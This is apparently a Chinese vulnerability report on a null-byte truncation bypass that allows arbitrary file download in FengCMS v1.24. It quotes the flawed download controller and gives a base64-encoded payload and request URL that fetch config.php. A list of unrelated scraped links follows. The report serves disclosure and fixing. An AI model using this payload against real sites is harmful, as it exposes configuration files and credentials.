### 简要描述:

之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。

多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!!

官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。

### 详细说明:

/app/controller/downController.php:

```

class downController extends Controller{

public function index(){

$_GET['file']=base64_decode($_GET['file']);

$_GET['file']=str_replace("..","",$_GET['file']);

$exp=explode("/",$_GET['file']);

if($exp[1]=="upload"){

if(file_exists(ROOT_PATH.$_GET['file'])){

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($_GET['file']));

readfile(ROOT_PATH.$_GET['file']);

}else{

echo '';

}

}else{

echo '';

}

}

}

```

看他是怎么处理的:

1.base64_decode解码

2.过滤..为空

3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载

4.将root_path和$_GET['file']组合成绝对路径,下载文件

如何绕过过滤,答案是\0截断。

首先,不管有没有全局addslashes或GPC,base64_decode就能无视之,引入一个\0,进行截断。

因为代码里取得是$exp[1]判断是否是"upload",所以我们可以把要下载的文件内容写在$exp[0]里,之后用\0截断掉,readfile的时候就能够把我要的config.php下载下来了。

所以罪魁祸首还是root_path是网站根目录,如果root_path是/upload目录的话,我想要下载config.php的话就必须要用../跳转到上层目录。

使用%00截断的条件是php版本小于5.3.4(左右吧,记不得),而官方给的测试站正好是5.2.x,所以可以通过测试,下载config.php。

### 漏洞证明:

首先测试一下之前的https://images.seebug.org/upload/../config.php还能不能下载:

[](https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg)

果断不能了。。。

那么将file改成这样:

```

echo base64_encode("\\config.php\x00/upload");

```

也就是:

http://guf521656.h163.92hezu.org/?controller=down&file=XGNvbmZpZy5waHAAL3VwbG9hZA

访问发现可以继续文件下载:

[](https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg)

这是下载到的config.php:

[](https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg)

php下载源文件绕开下载地址,Fengcms 最新版v1.24任意文件下载(绕过过滤)相关推荐

  1. 的计时器设置_【教程】PPT课件中常见的计时器效果(2)——沙漏式计时器 | 源文件提供下载...

    往期推荐: [教程]几种常见的计时器效果(1)| 源文件提供下载 [资源]统编语文1-6年级上册专项复习练习题 [资源]转发起来!超精美全册课件下载 | 统编版小学语文五年级下册 大家好,这里是小课同 ...

  2. JDK1.6官方下载_JDK6官方下载地址

    来源:http://blog.myspace.cn/e/404726340.htm JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download/jdk6/6u ...

  3. JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download

    JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/downloa ...

  4. 关于Centos使用wget下载: 无法解析主机地址问题

    关于Centos使用wget下载: 无法解析主机地址问题 产生原因 解决方法 产生原因 dns的问题,需要配置dns服务器. 解决方法 执行echo 'nameserver 8.8.8.8'>& ...

  5. bootstrapvalidat cdn_bootstrapValidator插件下载、官网地址、免费CDN加速地址等

    bootstrapValidator插件下载.官网地址.免费CDN加速地址等 : 04-07 22:10 : 146次 : 0条 1赞 点赞 简介这篇文章为你提供bootstrapValidator插 ...

  6. 最新下载精密轨道数据地址!

    欧空局原网址停止服务,而且新网址不能用下载影像的账户,下面提供新地址和账户 精轨数据下载网址(新地址):https://scihub.copernicus.eu/gnss/#/home 账户密码皆为( ...

  7. ftp 和http 区别FTP地址与HTTP地址的区别FTP下载和HTTP下载的区别之一就在与此。

    目录 ftp 和http 区别 FTP地址与HTTP地址的区别 FTP下载和HTTP下载的区别之一就在与此. ftp 和http 区别 1.定义不一样 ftp是文件传输协议,http是超文本传输协议, ...

  8. QuartusII_13.0下载及破解工具地址

    转自: http://blog.csdn.net/springlustre/article/details/25008997 QuartusII_13.0下载及破解工具地址 QuartusII_13. ...

  9. 奥拉星插件flash下载手机版下载安装_终于等到你!安卓微信7.0.13内测版发布 支持夜间模式 附下载地址!...

    3月22日,iOS版微信迎来了7.0.12正式版更新,最大的亮点在于为iOS13设备加入了"深色模式"功能,虽然没有独立的控制开关,但可以跟随系统开启或关闭夜间模式.此外,iOS版 ...

最新文章

  1. Android中的Fragment
  2. after exercise
  3. VTK:图像非最大抑制用法实战
  4. java.lang.reflect.Constructor
  5. react-native run-android报错的原因,SDK位置未指定
  6. java 线程模型_Java基础篇之Java线程模型
  7. CSS Grid布局(1)
  8. java求平均值Scanner_Scanner的一些问题
  9. iphone导出照片到电脑_苹果手机照片删除了怎么恢复?简单方法图文教程
  10. 环形链表得golang实现
  11. 软考试题希赛网爬取过程分享一
  12. Xmind8 下载与破解激活教程
  13. sql server windows nt 64bit 占内存解决方法
  14. 包包各部位名称图解_背包学问知多少 新手背包各部分功能详解
  15. Minimum supported Gradle version is 6.1.1. Current version is 5.4.1.
  16. 大于23的男生女生都该看.看完你会变一个人
  17. el-table表格数据 中文 键值渲染
  18. 传感器技术(徐科军 第四版)第三章:变电抗式传感器
  19. BGP路由协议实验配置命令
  20. OpenCV Gabor滤波器实现纹理提取与缺陷分析

热门文章

  1. app_process 自定义类似am pm命令
  2. 蓝蓝算法04-字符串逆置
  3. html页面回退,HTML5小结
  4. html5程序阅读题,20 个重要的 HTML5 面试题及答案
  5. php 显示时间动态效果,使用h5 canvas实现时钟的动态效果
  6. ipad2018电池测试软件,苹果ipad 2018评测
  7. 大数据开发之安装mysql
  8. 您的计算机和打印机上的打印纸设置不匹配,打印纸张不符合打印要求、类型与设置不符-打印机上门维修复印机...
  9. web.xml放在哪个目录下_美术资源标准(文件夹目录篇)
  10. pgsql数据库 按半小时分组 和 按一小时分组